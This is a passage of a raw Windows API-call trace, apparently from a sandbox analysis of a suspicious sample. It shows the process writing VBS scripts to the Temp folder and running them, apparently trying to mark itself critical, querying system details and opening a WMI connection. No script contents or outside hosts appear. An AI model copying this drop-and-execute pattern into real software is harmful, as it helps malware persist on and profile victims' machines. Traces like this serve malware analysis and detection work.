lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs", lpFilePart=0x0) returned 0x51 [0174.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb5e110) returned 1 [0174.913] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x534 [0174.914] GetFileType (hFile=0x534) returned 0x1 [0174.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb5e080) returned 1 [0174.914] GetFileType (hFile=0x534) returned 0x1 [0174.915] WriteFile (in: hFile=0x534, lpBuffer=0x2d504d0*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x1bb5e148, lpOverlapped=0x0 | out: lpBuffer=0x2d504d0*, lpNumberOfBytesWritten=0x1bb5e148*=0x1f5, lpOverlapped=0x0) returned 1 [0174.916] CloseHandle (hObject=0x534) returned 1 [0174.917] LocalAlloc (uFlags=0x0, uBytes=0xa4) returned 0x1b271900 [0175.320] LocalFree (hMem=0x1b271900) returned 0x0 [0175.320] CoUninitialize () Thread: id = 210 os_tid = 0xce8 [0173.686] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0173.686] RoInitialize () returned 0x1 [0173.686] RoUninitialize () returned 0x0 [0173.688] ShellExecuteExW (in: pExecInfo=0x2c4cea8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2c4cea8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x684)) returned 1 [0174.257] CoGetContextToken (in: pToken=0x1d19f130 | out: pToken=0x1d19f130) returned 0x0 [0174.258] CoUninitialize () Thread: id = 211 os_tid = 0xcec Thread: id = 212 os_tid = 0xcf4 Thread: id = 213 os_tid = 0xcf8 Thread: id = 216 os_tid = 0xd0c [0174.939] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0174.939] RoInitialize () returned 0x1 [0174.939] RoUninitialize () returned 0x0 [0174.942] ShellExecuteExW (in: pExecInfo=0x2d51688*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2d51688*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x704)) returned 1 [0175.196] CoGetContextToken (in: pToken=0x1d59f2d0 | out: pToken=0x1d59f2d0) returned 0x0 [0175.196] CoUninitialize () Thread: id = 218 os_tid = 0xd14 Thread: id = 229 os_tid = 0x1324 Thread: id = 230 os_tid = 0x1338 [0177.739] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0177.739] RoInitialize () returned 0x1 [0177.739] RoUninitialize () returned 0x0 [0177.742] ResetEvent (hEvent=0x2e4) returned 1 Thread: id = 231 os_tid = 0x1334 [0199.571] CoGetContextToken (in: pToken=0x1d99f080 | out: pToken=0x1d99f080) returned 0x0 [0199.572] IUnknown:QueryInterface (in: This=0x77dd40, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d99f0b8 | out: ppvObject=0x1d99f0b8*=0x77dd58) returned 0x0 [0199.572] IComThreadingInfo:GetCurrentThreadType (in: This=0x77dd58, pThreadType=0x1d99f128 | out: pThreadType=0x1d99f128*=0) returned 0x0 [0199.572] IUnknown:Release (This=0x77dd58) returned 0x1 Thread: id = 232 os_tid = 0xc20 Thread: id = 233 os_tid = 0xc2c [0186.951] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0186.951] RoInitialize () returned 0x1 [0186.951] RoUninitialize () returned 0x0 [0217.474] GetCurrentProcessId () returned 0xbf4 [0217.476] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbf4) returned 0xadc [0217.477] GetExitCodeProcess (in: hProcess=0xadc, lpExitCode=0x24ef90c | out: lpExitCode=0x24ef90c*=0x103) returned 1 [0217.489] NtSetInformationProcess (ProcessHandle=0xadc, ProcessInformationClass=0x1d, ProcessInformation=0x1ba6dc50, ProcessInformationLength=0x4) returned 0x0 [0217.489] CoUninitialize () Thread: id = 234 os_tid = 0xc28 [0187.044] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.044] RoInitialize () returned 0x1 [0187.044] RoUninitialize () returned 0x0 [0187.370] CoUninitialize () Thread: id = 235 os_tid = 0x13ec [0187.159] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.159] RoInitialize () returned 0x1 [0187.159] RoUninitialize () returned 0x0 [0187.244] CoUninitialize () Thread: id = 236 os_tid = 0x13e4 [0187.238] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.238] RoInitialize () returned 0x1 [0187.238] RoUninitialize () returned 0x0 [0188.281] GetComputerNameW (in: lpBuffer=0x1da9e2c0, nSize=0x26b5368 | out: lpBuffer="XC64ZB", nSize=0x26b5368) returned 1 [0188.297] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1da9e448, lpData=0x0, lpcbData=0x1da9e440*=0x0 | out: lpType=0x1da9e448*=0x3, lpData=0x0, lpcbData=0x1da9e440*=0x0) returned 0xea [0188.715] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1da9e448, lpData=0x27399b0, lpcbData=0x1da9e438*=0xfde8 | out: lpType=0x1da9e448*=0x3, lpData=0x27399b0*=0x50, lpcbData=0x1da9e438*=0xfde8) returned 0xea [0207.517] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1da9e448, lpData=0x12231970, lpcbData=0x1da9e438*=0x1fbd0 | out: lpType=0x1da9e448*=0x3, lpData=0x12231970*=0x50, lpcbData=0x1da9e438*=0x1fbd0) returned 0xea [0217.578] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1da9e448, lpData=0x122892c0, lpcbData=0x1da9e438*=0x3f7a0 | out: lpType=0x1da9e448*=0x3, lpData=0x122892c0*=0x50, lpcbData=0x1da9e438*=0x3f7a0) returned 0xea [0225.701] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1da9e448, lpData=0x122c8a98, lpcbData=0x1da9e438*=0x7ef40 | out: lpType=0x1da9e448*=0x3, lpData=0x122c8a98*, lpcbData=0x1da9e438*=0x4ca28) returned 0x0 [0257.275] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Counter 009", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x7, lpData=0x0, lpcbData=0x1da9e420*=0x35140) returned 0x0 [0258.081] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Counter 009", lpReserved=0x0, lpType=0x1da9e428, lpData=0x128660f8, lpcbData=0x1da9e420*=0x35140 | out: lpType=0x1da9e428*=0x7, lpData=0x128660f8*, lpcbData=0x1da9e420*=0x35140) returned 0x0 [0258.111] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0258.466] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Processor\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1da9e568 | out: phkResult=0x1da9e568*=0x0) returned 0x2 [0258.491] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0258.659] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x25bf5a8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x25bf5a8*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0258.679] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\PhysicalDisk\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1da9e568 | out: phkResult=0x1da9e568*=0x0) returned 0x2 [0258.680] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0258.681] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x25d3220, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x25d3220*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0258.768] GetTickCount64 () returned 0x1abd671 [0258.770] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0258.771] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2624ed0, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2624ed0*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0258.798] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1da9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0258.802] LoadLibraryW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\perfcounter.dll") returned 0x7ffb03220000 [0258.819] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0258.819] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26367d8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26367d8*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0258.852] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0258.853] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0258.853] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0258.857] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0258.858] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0258.858] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0258.858] IUnknown:Release (This=0x77dd58) returned 0x1 [0258.860] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218310) returned 0x0 [0258.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218310, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0258.861] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218310, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d2180f0) returned 0x0 [0258.861] WbemLocator:IUnknown:Release (This=0x1d218310) returned 0x0 [0258.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d2180f0) returned 0x0 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0258.862] WbemLocator:IUnknown:AddRef (This=0x1d2180f0) returned 0x3 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0258.862] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0258.862] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0258.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0258.863] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x2 [0258.863] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x1 [0258.863] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0258.863] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0258.863] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d2180f0) returned 0x0 [0258.863] WbemLocator:IUnknown:AddRef (This=0x1d2180f0) returned 0x3 [0258.863] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x2 [0258.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0258.863] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0258.863] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0258.864] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d217fb0) returned 0x0 [0258.864] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d217fb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1b218650) returned 0x0 [0258.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218650, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201af0) returned 0x0 [0258.925] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201af0, pProxy=0x1b218650, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0258.925] WbemLocator:IUnknown:Release (This=0x1b201af0) returned 0x1 [0258.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218650, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201b38) returned 0x0 [0258.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218650, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201af0) returned 0x0 [0258.926] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201af0, pProxy=0x1b218650, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0258.926] WbemLocator:IUnknown:Release (This=0x1b201af0) returned 0x2 [0258.926] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0258.926] CoTaskMemFree (pv=0x1d1e67e0) [0258.926] WbemLocator:IUnknown:Release (This=0x1d217fb0) returned 0x0 [0258.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218650, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201b38) returned 0x0 [0258.927] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0258.927] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0258.928] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218650, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0258.928] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0258.928] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0258.928] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0258.928] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201a18) returned 0x0 [0258.929] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201a18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0258.929] WbemLocator:IUnknown:Release (This=0x1b201a18) returned 0x3 [0258.929] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0258.929] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0258.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201b00) returned 0x0 [0258.929] WbemLocator:IRpcOptions:Query (in: This=0x1b201b00, pPrx=0x1b201b38, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0258.929] WbemLocator:IUnknown:Release (This=0x1b201b00) returned 0x3 [0258.929] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0258.929] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0258.929] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0258.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1b218650) returned 0x0 [0258.930] WbemLocator:IUnknown:AddRef (This=0x1b218650) returned 0x4 [0258.930] WbemLocator:IUnknown:Release (This=0x1b218650) returned 0x3 [0258.930] WbemLocator:IUnknown:Release (This=0x1b218650) returned 0x2 [0258.930] SysStringLen (param_1=0x0) returned 0x0 [0258.930] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0258.930] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0258.930] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201b38) returned 0x0 [0258.930] 